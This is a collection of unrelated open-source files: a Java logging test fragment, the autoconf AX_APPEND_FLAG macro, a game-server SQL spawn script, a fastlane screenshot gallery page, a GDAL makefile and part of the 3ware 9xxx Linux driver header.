final ListAppender listAppender = new ListAppender(null, 1, Level.WARN);
LOGGER.addAppender(listAppender);
LOGGER.warn("Warning");
final String listAppenderString = listAppender.toString();
}
}
| {
"pile_set_name": "Github"
} |
# ===========================================================================
# http://www.gnu.org/software/autoconf-archive/ax_append_flag.html
# ===========================================================================
#
# SYNOPSIS
#
# AX_APPEND_FLAG(FLAG, [FLAGS-VARIABLE])
#
# DESCRIPTION
#
# FLAG is appended to the FLAGS-VARIABLE shell variable, with a space
# added in between.
#
# If FLAGS-VARIABLE is not specified, the current language's flags (e.g.
# CFLAGS) is used. FLAGS-VARIABLE is not changed if it already contains
# FLAG. If FLAGS-VARIABLE is unset in the shell, it is set to exactly
# FLAG.
#
# NOTE: Implementation based on AX_CFLAGS_GCC_OPTION.
#
# LICENSE
#
# Copyright (c) 2008 Guido U. Draheim <[email protected]>
# Copyright (c) 2011 Maarten Bosmans <[email protected]>
#
# This program is free software: you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation, either version 3 of the License, or (at your
# option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
# Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program. If not, see <http://www.gnu.org/licenses/>.
#
# As a special exception, the respective Autoconf Macro's copyright owner
# gives unlimited permission to copy, distribute and modify the configure
# scripts that are the output of Autoconf when processing the Macro. You
# need not follow the terms of the GNU General Public License when using
# or distributing such scripts, even though portions of the text of the
# Macro appear in them. The GNU General Public License (GPL) does govern
# all other use of the material that constitutes the Autoconf Macro.
#
# This special exception to the GPL applies to versions of the Autoconf
# Macro released by the Autoconf Archive. When you make and distribute a
# modified version of the Autoconf Macro, you may extend this special
# exception to the GPL to apply to your modified version as well.
#serial 6
AC_DEFUN([AX_APPEND_FLAG],
[dnl
AC_PREREQ(2.64)dnl for _AC_LANG_PREFIX and AS_VAR_SET_IF
AS_VAR_PUSHDEF([FLAGS], [m4_default($2,_AC_LANG_PREFIX[FLAGS])])
AS_VAR_SET_IF(FLAGS,[
AS_CASE([" AS_VAR_GET(FLAGS) "],
[*" $1 "*], [AC_RUN_LOG([: FLAGS already contains $1])],
[
AS_VAR_APPEND(FLAGS,[" $1"])
AC_RUN_LOG([: FLAGS="$FLAGS"])
])
],
[
AS_VAR_SET(FLAGS,[$1])
AC_RUN_LOG([: FLAGS="$FLAGS"])
])
AS_VAR_POPDEF([FLAGS])dnl
])dnl AX_APPEND_FLAG
| {
"pile_set_name": "Github"
} |
-- Add missing Challe & Orphan Matron Aria Spawns
SET @GUID := 41876;
DELETE FROM `creature` WHERE `guid` BETWEEN @GUID AND @GUID+1;
INSERT INTO `creature` (`guid`,`id`,`map`,`spawnMask`,`phaseMask`,`modelid`,`equipment_id`,`position_x`,`position_y`,`position_z`,`orientation`,`spawntimesecs`,`spawndist`,`currentwaypoint`,`curhealth`,`curmana`,`MovementType`) VALUES
(@GUID,23101,530,1,1,0,0,-480.4989,7499.029,181.2889,3.560472,120,0,0,1,0,0),
(@GUID+1,34365,571,1,1,0,0,5716.604,642.8611,646.2927,5.88176,120,0,0,1,0,0);
-- Add to game event creature
DELETE FROM `game_event_creature` WHERE `guid`=@GUID+1;
INSERT INTO `game_event_creature` (`eventEntry`,`guid`) VALUES (10,@GUID+1);
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html>
<head>
<title>fastlane/snapshot</title>
<meta charset="UTF-8">
<style type="text/css">
* {
font-family: "HelveticaNeue-Light", "Helvetica Neue Light", "Helvetica Neue", Helvetica, Arial, "Lucida Grande", sans-serif;
font-weight: 300;
}
.language {
}
.deviceName {
display: block;
font-size: 30px;
padding-bottom: 24px;
padding-top: 45px;
}
.screenshot {
cursor: pointer;
border: 1px #EEE solid;
z-index: 0;
}
th {
text-align: left;
}
td {
text-align: center;
min-width: 200px;
}
#overlay {
position:fixed;
top:0;
left:0;
background:rgba(0,0,0,0.8);
z-index:5;
width:100%;
height:100%;
display:none;
cursor: zoom-out;
text-align: center;
}
#imageDisplay {
height: auto;
width: auto;
z-index: 10;
cursor: pointer;
}
#imageInfo {
background: none repeat scroll 0 0 rgba(0, 0, 0, 0.2);
border-radius: 5px;
color: white;
margin: 20px;
padding: 10px;
position: absolute;
right: 0;
top: 0;
width: 250px;
z-index: -1;
}
#imageInfo:hover {
z-index: 20;
}
</style>
</head>
<body>
<h1 id="en-US" class="language">en-US</h1>
<hr>
<table>
<tr>
<th colspan="4">
<a id="en-US-iPhone 7 Plus (5.5-Inch)" class="deviceName" href="#en-US-iPhone 7 Plus (5.5-Inch)">iPhone 7 Plus (5.5-Inch)</a>
</th>
</tr>
<tr>
<td>
<a href="./en-US/iPhone 7 Plus-1-Setup.png" target="_blank" class="screenshotLink">
<img class="screenshot" src="./en-US/iPhone 7 Plus-1-Setup.png" style="width: 100%;" alt="en-US iPhone 7 Plus (5.5-Inch)" data-counter="1">
</a>
</td>
<td>
<a href="./en-US/iPhone 7 Plus-2-List.png" target="_blank" class="screenshotLink">
<img class="screenshot" src="./en-US/iPhone 7 Plus-2-List.png" style="width: 100%;" alt="en-US iPhone 7 Plus (5.5-Inch)" data-counter="2">
</a>
</td>
<td>
<a href="./en-US/iPhone 7 Plus-3-Detail.png" target="_blank" class="screenshotLink">
<img class="screenshot" src="./en-US/iPhone 7 Plus-3-Detail.png" style="width: 100%;" alt="en-US iPhone 7 Plus (5.5-Inch)" data-counter="3">
</a>
</td>
<td>
<a href="./en-US/iPhone 7 Plus-4-About.png" target="_blank" class="screenshotLink">
<img class="screenshot" src="./en-US/iPhone 7 Plus-4-About.png" style="width: 100%;" alt="en-US iPhone 7 Plus (5.5-Inch)" data-counter="4">
</a>
</td>
</tr>
</table>
<h1 id="sk-SK" class="language">sk-SK</h1>
<hr>
<table>
<tr>
<th colspan="4">
<a id="sk-SK-iPhone 7 Plus (5.5-Inch)" class="deviceName" href="#sk-SK-iPhone 7 Plus (5.5-Inch)">iPhone 7 Plus (5.5-Inch)</a>
</th>
</tr>
<tr>
<td>
<a href="./sk-SK/iPhone 7 Plus-1-Setup.png" target="_blank" class="screenshotLink">
<img class="screenshot" src="./sk-SK/iPhone 7 Plus-1-Setup.png" style="width: 100%;" alt="sk-SK iPhone 7 Plus (5.5-Inch)" data-counter="5">
</a>
</td>
<td>
<a href="./sk-SK/iPhone 7 Plus-2-List.png" target="_blank" class="screenshotLink">
<img class="screenshot" src="./sk-SK/iPhone 7 Plus-2-List.png" style="width: 100%;" alt="sk-SK iPhone 7 Plus (5.5-Inch)" data-counter="6">
</a>
</td>
<td>
<a href="./sk-SK/iPhone 7 Plus-3-Detail.png" target="_blank" class="screenshotLink">
<img class="screenshot" src="./sk-SK/iPhone 7 Plus-3-Detail.png" style="width: 100%;" alt="sk-SK iPhone 7 Plus (5.5-Inch)" data-counter="7">
</a>
</td>
<td>
<a href="./sk-SK/iPhone 7 Plus-4-About.png" target="_blank" class="screenshotLink">
<img class="screenshot" src="./sk-SK/iPhone 7 Plus-4-About.png" style="width: 100%;" alt="sk-SK iPhone 7 Plus (5.5-Inch)" data-counter="8">
</a>
</td>
</tr>
</table>
<div id="overlay">
<img id="imageDisplay" src="" alt="" />
<div id="imageInfo"></div>
</div>
<script type="text/javascript">
var overlay = document.getElementById('overlay');
var imageDisplay = document.getElementById('imageDisplay');
var imageInfo = document.getElementById('imageInfo');
var screenshotLink = document.getElementsByClassName('screenshotLink');
function doClick(el) {
if (document.createEvent) {
var evObj = document.createEvent('MouseEvents', true);
evObj.initMouseEvent("click", false, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
el.dispatchEvent(evObj);
} else if (document.createEventObject) { //IE
var evObj = document.createEventObject();
el.fireEvent('onclick', evObj);
}
}
for (index = 0; index < screenshotLink.length; ++index) {
screenshotLink[index].addEventListener('click', function(e) {
e.preventDefault();
var img = e.target;
if (e.target.tagName == 'A') {
img = e.target.children[0];
}
// beautify
var tmpImg = new Image();
tmpImg.src = img.src;
imageDisplay.style.height = 'auto';
imageDisplay.style.width = 'auto';
if (window.innerHeight < tmpImg.height) {
imageDisplay.style.height = document.documentElement.clientHeight+'px';
} else if (window.innerWidth < tmpImg.width) {
imageDisplay.style.width = document.documentElement.clientWidth;+'px';
} else {
imageDisplay.style.paddingTop = parseInt((window.innerHeight - tmpImg.height) / 2)+'px';
}
imageDisplay.src = img.src;
imageDisplay.alt = img.alt;
imageDisplay.dataset.counter = img.dataset.counter;
imageInfo.innerHTML = '<h3>'+img.alt+'</h3>';
imageInfo.innerHTML += decodeURI(img.src.split("/").pop());
imageInfo.innerHTML += '<br />'+tmpImg.height+'×'+tmpImg.width+'px';
overlay.style.display = "block";
});
}
imageDisplay.addEventListener('click', function(e) {
e.stopPropagation(); // !
overlay.style.display = "none";
img_counter = parseInt(e.target.dataset.counter) + 1;
try {
link = document.body.querySelector('img[data-counter="'+img_counter+'"]').parentNode;
} catch (e) {
try {
link = document.body.querySelector('img[data-counter="0"]').parentNode;
} catch (e) {
return false;
}
}
doClick(link);
});
overlay.addEventListener('click', function(e) {
overlay.style.display = "none";
})
function keyPressed(e) {
e = e || window.event;
var charCode = e.keyCode || e.which;
switch(charCode) {
case 27: // Esc
overlay.style.display = "none";
break;
case 34: // Page Down
case 39: // Right arrow
case 54: // Keypad right
case 76: // l
case 102: // Keypad right
e.preventDefault();
doClick(imageDisplay);
break;
case 33: // Page up
case 37: // Left arrow
case 52: // Keypad left
case 72: // h
case 100: // Keypad left
e.preventDefault();
document.getElementById('imageDisplay').dataset.counter -= 2; // hacky
doClick(imageDisplay);
break;
}
};
document.body.addEventListener('keydown', keyPressed);
</script>
</body>
</html>
| {
"pile_set_name": "Github"
} |
GDAL_ROOT = ..\..
!INCLUDE $(GDAL_ROOT)\nmake.opt
OBJ = srtmhgtdataset.obj
EXTRAFLAGS = -I./
default: $(OBJ)
xcopy /D /Y *.obj ..\o
clean:
-del *.obj
| {
"pile_set_name": "Github"
} |
/*
3w-9xxx.h -- 3ware 9000 Storage Controller device driver for Linux.
Written By: Adam Radford <[email protected]>
Modifications By: Tom Couch <[email protected]>
Copyright (C) 2004-2009 Applied Micro Circuits Corporation.
Copyright (C) 2010 LSI Corporation.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; version 2 of the License.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
NO WARRANTY
THE PROGRAM IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OR
CONDITIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT
LIMITATION, ANY WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT,
MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Each Recipient is
solely responsible for determining the appropriateness of using and
distributing the Program and assumes all risks associated with its
exercise of rights under this Agreement, including but not limited to
the risks and costs of program errors, damage to or loss of data,
programs or equipment, and unavailability or interruption of operations.
DISCLAIMER OF LIABILITY
NEITHER RECIPIENT NOR ANY CONTRIBUTORS SHALL HAVE ANY LIABILITY FOR ANY
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING WITHOUT LIMITATION LOST PROFITS), HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
USE OR DISTRIBUTION OF THE PROGRAM OR THE EXERCISE OF ANY RIGHTS GRANTED
HEREUNDER, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Bugs/Comments/Suggestions should be mailed to:
[email protected]
For more information, goto:
http://www.lsi.com
*/
#ifndef _3W_9XXX_H
#define _3W_9XXX_H
/* AEN string type */
typedef struct TAG_twa_message_type {
unsigned int code;
char* text;
} twa_message_type;
/* AEN strings */
static twa_message_type twa_aen_table[] = {
{0x0000, "AEN queue empty"},
{0x0001, "Controller reset occurred"},
{0x0002, "Degraded unit detected"},
{0x0003, "Controller error occurred"},
{0x0004, "Background rebuild failed"},
{0x0005, "Background rebuild done"},
{0x0006, "Incomplete unit detected"},
{0x0007, "Background initialize done"},
{0x0008, "Unclean shutdown detected"},
{0x0009, "Drive timeout detected"},
{0x000A, "Drive error detected"},
{0x000B, "Rebuild started"},
{0x000C, "Background initialize started"},
{0x000D, "Entire logical unit was deleted"},
{0x000E, "Background initialize failed"},
{0x000F, "SMART attribute exceeded threshold"},
{0x0010, "Power supply reported AC under range"},
{0x0011, "Power supply reported DC out of range"},
{0x0012, "Power supply reported a malfunction"},
{0x0013, "Power supply predicted malfunction"},
{0x0014, "Battery charge is below threshold"},
{0x0015, "Fan speed is below threshold"},
{0x0016, "Temperature sensor is above threshold"},
{0x0017, "Power supply was removed"},
{0x0018, "Power supply was inserted"},
{0x0019, "Drive was removed from a bay"},
{0x001A, "Drive was inserted into a bay"},
{0x001B, "Drive bay cover door was opened"},
{0x001C, "Drive bay cover door was closed"},
{0x001D, "Product case was opened"},
{0x0020, "Prepare for shutdown (power-off)"},
{0x0021, "Downgrade UDMA mode to lower speed"},
{0x0022, "Upgrade UDMA mode to higher speed"},
{0x0023, "Sector repair completed"},
{0x0024, "Sbuf memory test failed"},
{0x0025, "Error flushing cached write data to array"},
{0x0026, "Drive reported data ECC error"},
{0x0027, "DCB has checksum error"},
{0x0028, "DCB version is unsupported"},
{0x0029, "Background verify started"},
{0x002A, "Background verify failed"},
{0x002B, "Background verify done"},
{0x002C, "Bad sector overwritten during rebuild"},
{0x002D, "Background rebuild error on source drive"},
{0x002E, "Replace failed because replacement drive too small"},
{0x002F, "Verify failed because array was never initialized"},
{0x0030, "Unsupported ATA drive"},
{0x0031, "Synchronize host/controller time"},
{0x0032, "Spare capacity is inadequate for some units"},
{0x0033, "Background migration started"},
{0x0034, "Background migration failed"},
{0x0035, "Background migration done"},
{0x0036, "Verify detected and fixed data/parity mismatch"},
{0x0037, "SO-DIMM incompatible"},
{0x0038, "SO-DIMM not detected"},
{0x0039, "Corrected Sbuf ECC error"},
{0x003A, "Drive power on reset detected"},
{0x003B, "Background rebuild paused"},
{0x003C, "Background initialize paused"},
{0x003D, "Background verify paused"},
{0x003E, "Background migration paused"},
{0x003F, "Corrupt flash file system detected"},
{0x0040, "Flash file system repaired"},
{0x0041, "Unit number assignments were lost"},
{0x0042, "Error during read of primary DCB"},
{0x0043, "Latent error found in backup DCB"},
{0x00FC, "Recovered/finished array membership update"},
{0x00FD, "Handler lockup"},
{0x00FE, "Retrying PCI transfer"},
{0x00FF, "AEN queue is full"},
{0xFFFFFFFF, (char*) 0}
};
/* AEN severity table */
static char *twa_aen_severity_table[] =
{
"None", "ERROR", "WARNING", "INFO", "DEBUG", (char*) 0
};
/* Error strings */
static twa_message_type twa_error_table[] = {
{0x0100, "SGL entry contains zero data"},
{0x0101, "Invalid command opcode"},
{0x0102, "SGL entry has unaligned address"},
{0x0103, "SGL size does not match command"},
{0x0104, "SGL entry has illegal length"},
{0x0105, "Command packet is not aligned"},
{0x0106, "Invalid request ID"},
{0x0107, "Duplicate request ID"},
{0x0108, "ID not locked"},
{0x0109, "LBA out of range"},
{0x010A, "Logical unit not supported"},
{0x010B, "Parameter table does not exist"},
{0x010C, "Parameter index does not exist"},
{0x010D, "Invalid field in CDB"},
{0x010E, "Specified port has invalid drive"},
{0x010F, "Parameter item size mismatch"},
{0x0110, "Failed memory allocation"},
{0x0111, "Memory request too large"},
{0x0112, "Out of memory segments"},
{0x0113, "Invalid address to deallocate"},
{0x0114, "Out of memory"},
{0x0115, "Out of heap"},
{0x0120, "Double degrade"},
{0x0121, "Drive not degraded"},
{0x0122, "Reconstruct error"},
{0x0123, "Replace not accepted"},
{0x0124, "Replace drive capacity too small"},
{0x0125, "Sector count not allowed"},
{0x0126, "No spares left"},
{0x0127, "Reconstruct error"},
{0x0128, "Unit is offline"},
{0x0129, "Cannot update status to DCB"},
{0x0130, "Invalid stripe handle"},
{0x0131, "Handle that was not locked"},
{0x0132, "Handle that was not empty"},
{0x0133, "Handle has different owner"},
{0x0140, "IPR has parent"},
{0x0150, "Illegal Pbuf address alignment"},
{0x0151, "Illegal Pbuf transfer length"},
{0x0152, "Illegal Sbuf address alignment"},
{0x0153, "Illegal Sbuf transfer length"},
{0x0160, "Command packet too large"},
{0x0161, "SGL exceeds maximum length"},
{0x0162, "SGL has too many entries"},
{0x0170, "Insufficient resources for rebuilder"},
{0x0171, "Verify error (data != parity)"},
{0x0180, "Requested segment not in directory of this DCB"},
{0x0181, "DCB segment has unsupported version"},
{0x0182, "DCB segment has checksum error"},
{0x0183, "DCB support (settings) segment invalid"},
{0x0184, "DCB UDB (unit descriptor block) segment invalid"},
{0x0185, "DCB GUID (globally unique identifier) segment invalid"},
{0x01A0, "Could not clear Sbuf"},
{0x01C0, "Flash identify failed"},
{0x01C1, "Flash out of bounds"},
{0x01C2, "Flash verify error"},
{0x01C3, "Flash file object not found"},
{0x01C4, "Flash file already present"},
{0x01C5, "Flash file system full"},
{0x01C6, "Flash file not present"},
{0x01C7, "Flash file size error"},
{0x01C8, "Bad flash file checksum"},
{0x01CA, "Corrupt flash file system detected"},
{0x01D0, "Invalid field in parameter list"},
{0x01D1, "Parameter list length error"},
{0x01D2, "Parameter item is not changeable"},
{0x01D3, "Parameter item is not saveable"},
{0x0200, "UDMA CRC error"},
{0x0201, "Internal CRC error"},
{0x0202, "Data ECC error"},
{0x0203, "ADP level 1 error"},
{0x0204, "Port timeout"},
{0x0205, "Drive power on reset"},
{0x0206, "ADP level 2 error"},
{0x0207, "Soft reset failed"},
{0x0208, "Drive not ready"},
{0x0209, "Unclassified port error"},
{0x020A, "Drive aborted command"},
{0x0210, "Internal CRC error"},
{0x0211, "PCI abort error"},
{0x0212, "PCI parity error"},
{0x0213, "Port handler error"},
{0x0214, "Token interrupt count error"},
{0x0215, "Timeout waiting for PCI transfer"},
{0x0216, "Corrected buffer ECC"},
{0x0217, "Uncorrected buffer ECC"},
{0x0230, "Unsupported command during flash recovery"},
{0x0231, "Next image buffer expected"},
{0x0232, "Binary image architecture incompatible"},
{0x0233, "Binary image has no signature"},
{0x0234, "Binary image has bad checksum"},
{0x0235, "Image downloaded overflowed buffer"},
{0x0240, "I2C device not found"},
{0x0241, "I2C transaction aborted"},
{0x0242, "SO-DIMM parameter(s) incompatible using defaults"},
{0x0243, "SO-DIMM unsupported"},
{0x0248, "SPI transfer status error"},
{0x0249, "SPI transfer timeout error"},
{0x0250, "Invalid unit descriptor size in CreateUnit"},
{0x0251, "Unit descriptor size exceeds data buffer in CreateUnit"},
{0x0252, "Invalid value in CreateUnit descriptor"},
{0x0253, "Inadequate disk space to support descriptor in CreateUnit"},
{0x0254, "Unable to create data channel for this unit descriptor"},
{0x0255, "CreateUnit descriptor specifies a drive already in use"},
{0x0256, "Unable to write configuration to all disks during CreateUnit"},
{0x0257, "CreateUnit does not support this descriptor version"},
{0x0258, "Invalid subunit for RAID 0 or 5 in CreateUnit"},
{0x0259, "Too many descriptors in CreateUnit"},
{0x025A, "Invalid configuration specified in CreateUnit descriptor"},
{0x025B, "Invalid LBA offset specified in CreateUnit descriptor"},
{0x025C, "Invalid stripelet size specified in CreateUnit descriptor"},
{0x0260, "SMART attribute exceeded threshold"},
{0xFFFFFFFF, (char*) 0}
};
/* Control register bit definitions */
#define TW_CONTROL_CLEAR_HOST_INTERRUPT 0x00080000
#define TW_CONTROL_CLEAR_ATTENTION_INTERRUPT 0x00040000
#define TW_CONTROL_MASK_COMMAND_INTERRUPT 0x00020000
#define TW_CONTROL_MASK_RESPONSE_INTERRUPT 0x00010000
#define TW_CONTROL_UNMASK_COMMAND_INTERRUPT 0x00008000
#define TW_CONTROL_UNMASK_RESPONSE_INTERRUPT 0x00004000
#define TW_CONTROL_CLEAR_ERROR_STATUS 0x00000200
#define TW_CONTROL_ISSUE_SOFT_RESET 0x00000100
#define TW_CONTROL_ENABLE_INTERRUPTS 0x00000080
#define TW_CONTROL_DISABLE_INTERRUPTS 0x00000040
#define TW_CONTROL_ISSUE_HOST_INTERRUPT 0x00000020
#define TW_CONTROL_CLEAR_PARITY_ERROR 0x00800000
#define TW_CONTROL_CLEAR_QUEUE_ERROR 0x00400000
#define TW_CONTROL_CLEAR_PCI_ABORT 0x00100000
/* Status register bit definitions */
#define TW_STATUS_MAJOR_VERSION_MASK 0xF0000000
#define TW_STATUS_MINOR_VERSION_MASK 0x0F000000
#define TW_STATUS_PCI_PARITY_ERROR 0x00800000
#define TW_STATUS_QUEUE_ERROR 0x00400000
#define TW_STATUS_MICROCONTROLLER_ERROR 0x00200000
#define TW_STATUS_PCI_ABORT 0x00100000
#define TW_STATUS_HOST_INTERRUPT 0x00080000
#define TW_STATUS_ATTENTION_INTERRUPT 0x00040000
#define TW_STATUS_COMMAND_INTERRUPT 0x00020000
#define TW_STATUS_RESPONSE_INTERRUPT 0x00010000
#define TW_STATUS_COMMAND_QUEUE_FULL 0x00008000
#define TW_STATUS_RESPONSE_QUEUE_EMPTY 0x00004000
#define TW_STATUS_MICROCONTROLLER_READY 0x00002000
#define TW_STATUS_COMMAND_QUEUE_EMPTY 0x00001000
#define TW_STATUS_EXPECTED_BITS 0x00002000
#define TW_STATUS_UNEXPECTED_BITS 0x00F00000
#define TW_STATUS_VALID_INTERRUPT 0x00DF0000
/* PCI related defines */
#define TW_PCI_CLEAR_PARITY_ERRORS 0xc100
#define TW_PCI_CLEAR_PCI_ABORT 0x2000
/* Command packet opcodes used by the driver */
#define TW_OP_INIT_CONNECTION 0x1
#define TW_OP_GET_PARAM 0x12
#define TW_OP_SET_PARAM 0x13
#define TW_OP_EXECUTE_SCSI 0x10
#define TW_OP_DOWNLOAD_FIRMWARE 0x16
#define TW_OP_RESET 0x1C
/* Asynchronous Event Notification (AEN) codes used by the driver */
#define TW_AEN_QUEUE_EMPTY 0x0000
#define TW_AEN_SOFT_RESET 0x0001
#define TW_AEN_SYNC_TIME_WITH_HOST 0x031
#define TW_AEN_SEVERITY_ERROR 0x1
#define TW_AEN_SEVERITY_DEBUG 0x4
#define TW_AEN_NOT_RETRIEVED 0x1
#define TW_AEN_RETRIEVED 0x2
/* Command state defines */
#define TW_S_INITIAL 0x1 /* Initial state */
#define TW_S_STARTED 0x2 /* Id in use */
#define TW_S_POSTED 0x4 /* Posted to the controller */
#define TW_S_PENDING 0x8 /* Waiting to be posted in isr */
#define TW_S_COMPLETED 0x10 /* Completed by isr */
#define TW_S_FINISHED 0x20 /* I/O completely done */
/* Compatibility defines */
#define TW_9000_ARCH_ID 0x5
#define TW_CURRENT_DRIVER_SRL 35
#define TW_CURRENT_DRIVER_BUILD 0
#define TW_CURRENT_DRIVER_BRANCH 0
/* Misc defines */
#define TW_9550SX_DRAIN_COMPLETED 0xFFFF
#define TW_SECTOR_SIZE 512
#define TW_ALIGNMENT_9000 4 /* 4 bytes */
#define TW_ALIGNMENT_9000_SGL 0x3
#define TW_MAX_UNITS 16
#define TW_MAX_UNITS_9650SE 32
#define TW_INIT_MESSAGE_CREDITS 0x100
#define TW_INIT_COMMAND_PACKET_SIZE 0x3
#define TW_INIT_COMMAND_PACKET_SIZE_EXTENDED 0x6
#define TW_EXTENDED_INIT_CONNECT 0x2
#define TW_BUNDLED_FW_SAFE_TO_FLASH 0x4
#define TW_CTLR_FW_RECOMMENDS_FLASH 0x8
#define TW_CTLR_FW_COMPATIBLE 0x2
#define TW_BASE_FW_SRL 24
#define TW_BASE_FW_BRANCH 0
#define TW_BASE_FW_BUILD 1
#define TW_FW_SRL_LUNS_SUPPORTED 28
#define TW_Q_LENGTH 256
#define TW_Q_START 0
#define TW_MAX_SLOT 32
#define TW_MAX_RESET_TRIES 2
#define TW_MAX_CMDS_PER_LUN 254
#define TW_MAX_RESPONSE_DRAIN 256
#define TW_MAX_AEN_DRAIN 255
#define TW_IN_RESET 2
#define TW_USING_MSI 3
#define TW_IN_ATTENTION_LOOP 4
#define TW_MAX_SECTORS 256
#define TW_AEN_WAIT_TIME 1000
#define TW_IOCTL_WAIT_TIME (1 * HZ) /* 1 second */
#define TW_MAX_CDB_LEN 16
#define TW_ISR_DONT_COMPLETE 2
#define TW_ISR_DONT_RESULT 3
#define TW_IOCTL_CHRDEV_TIMEOUT 60 /* 60 seconds */
#define TW_IOCTL_CHRDEV_FREE -1
#define TW_COMMAND_OFFSET 128 /* 128 bytes */
#define TW_VERSION_TABLE 0x0402
#define TW_TIMEKEEP_TABLE 0x040A
#define TW_INFORMATION_TABLE 0x0403
#define TW_PARAM_FWVER 3
#define TW_PARAM_FWVER_LENGTH 16
#define TW_PARAM_BIOSVER 4
#define TW_PARAM_BIOSVER_LENGTH 16
#define TW_PARAM_PORTCOUNT 3
#define TW_PARAM_PORTCOUNT_LENGTH 1
#define TW_MIN_SGL_LENGTH 0x200 /* 512 bytes */
#define TW_MAX_SENSE_LENGTH 256
#define TW_EVENT_SOURCE_AEN 0x1000
#define TW_EVENT_SOURCE_COMMAND 0x1001
#define TW_EVENT_SOURCE_PCHIP 0x1002
#define TW_EVENT_SOURCE_DRIVER 0x1003
#define TW_IOCTL_GET_COMPATIBILITY_INFO 0x101
#define TW_IOCTL_GET_LAST_EVENT 0x102
#define TW_IOCTL_GET_FIRST_EVENT 0x103
#define TW_IOCTL_GET_NEXT_EVENT 0x104
#define TW_IOCTL_GET_PREVIOUS_EVENT 0x105
#define TW_IOCTL_GET_LOCK 0x106
#define TW_IOCTL_RELEASE_LOCK 0x107
#define TW_IOCTL_FIRMWARE_PASS_THROUGH 0x108
#define TW_IOCTL_ERROR_STATUS_NOT_LOCKED 0x1001 // Not locked
#define TW_IOCTL_ERROR_STATUS_LOCKED 0x1002 // Already locked
#define TW_IOCTL_ERROR_STATUS_NO_MORE_EVENTS 0x1003 // No more events
#define TW_IOCTL_ERROR_STATUS_AEN_CLOBBER 0x1004 // AEN clobber occurred
#define TW_IOCTL_ERROR_OS_EFAULT -EFAULT // Bad address
#define TW_IOCTL_ERROR_OS_EINTR -EINTR // Interrupted system call
#define TW_IOCTL_ERROR_OS_EINVAL -EINVAL // Invalid argument
#define TW_IOCTL_ERROR_OS_ENOMEM -ENOMEM // Out of memory
#define TW_IOCTL_ERROR_OS_ERESTARTSYS -ERESTARTSYS // Restart system call
#define TW_IOCTL_ERROR_OS_EIO -EIO // I/O error
#define TW_IOCTL_ERROR_OS_ENOTTY -ENOTTY // Not a typewriter
#define TW_IOCTL_ERROR_OS_ENODEV -ENODEV // No such device
#define TW_ALLOCATION_LENGTH 128
#define TW_SENSE_DATA_LENGTH 18
#define TW_STATUS_CHECK_CONDITION 2
#define TW_ERROR_LOGICAL_UNIT_NOT_SUPPORTED 0x10a
#define TW_ERROR_UNIT_OFFLINE 0x128
#define TW_MESSAGE_SOURCE_CONTROLLER_ERROR 3
#define TW_MESSAGE_SOURCE_CONTROLLER_EVENT 4
#define TW_MESSAGE_SOURCE_LINUX_DRIVER 6
#define TW_DRIVER TW_MESSAGE_SOURCE_LINUX_DRIVER
#define TW_MESSAGE_SOURCE_LINUX_OS 9
#define TW_OS TW_MESSAGE_SOURCE_LINUX_OS
#ifndef PCI_DEVICE_ID_3WARE_9000
#define PCI_DEVICE_ID_3WARE_9000 0x1002
#endif
#ifndef PCI_DEVICE_ID_3WARE_9550SX
#define PCI_DEVICE_ID_3WARE_9550SX 0x1003
#endif
#ifndef PCI_DEVICE_ID_3WARE_9650SE
#define PCI_DEVICE_ID_3WARE_9650SE 0x1004
#endif
#ifndef PCI_DEVICE_ID_3WARE_9690SA
#define PCI_DEVICE_ID_3WARE_9690SA 0x1005
#endif
/* Bitmask macros to eliminate bitfields */
/* opcode: 5, reserved: 3 */
#define TW_OPRES_IN(x,y) ((x << 5) | (y & 0x1f))
#define TW_OP_OUT(x) (x & 0x1f)
/* opcode: 5, sgloffset: 3 */
#define TW_OPSGL_IN(x,y) ((x << 5) | (y & 0x1f))
#define TW_SGL_OUT(x) ((x >> 5) & 0x7)
/* severity: 3, reserved: 5 */
#define TW_SEV_OUT(x) (x & 0x7)
/* reserved_1: 4, response_id: 8, reserved_2: 20 */
#define TW_RESID_OUT(x) ((x >> 4) & 0xff)
/* request_id: 12, lun: 4 */
#define TW_REQ_LUN_IN(lun, request_id) (((lun << 12) & 0xf000) | (request_id & 0xfff))
#define TW_LUN_OUT(lun) ((lun >> 12) & 0xf)
/* Macros */
#define TW_CONTROL_REG_ADDR(x) (x->base_addr)
#define TW_STATUS_REG_ADDR(x) ((unsigned char __iomem *)x->base_addr + 0x4)
#define TW_COMMAND_QUEUE_REG_ADDR(x) (sizeof(dma_addr_t) > 4 ? ((unsigned char __iomem *)x->base_addr + 0x20) : ((unsigned char __iomem *)x->base_addr + 0x8))
#define TW_COMMAND_QUEUE_REG_ADDR_LARGE(x) ((unsigned char __iomem *)x->base_addr + 0x20)
#define TW_RESPONSE_QUEUE_REG_ADDR(x) ((unsigned char __iomem *)x->base_addr + 0xC)
#define TW_RESPONSE_QUEUE_REG_ADDR_LARGE(x) ((unsigned char __iomem *)x->base_addr + 0x30)
#define TW_CLEAR_ALL_INTERRUPTS(x) (writel(TW_STATUS_VALID_INTERRUPT, TW_CONTROL_REG_ADDR(x)))
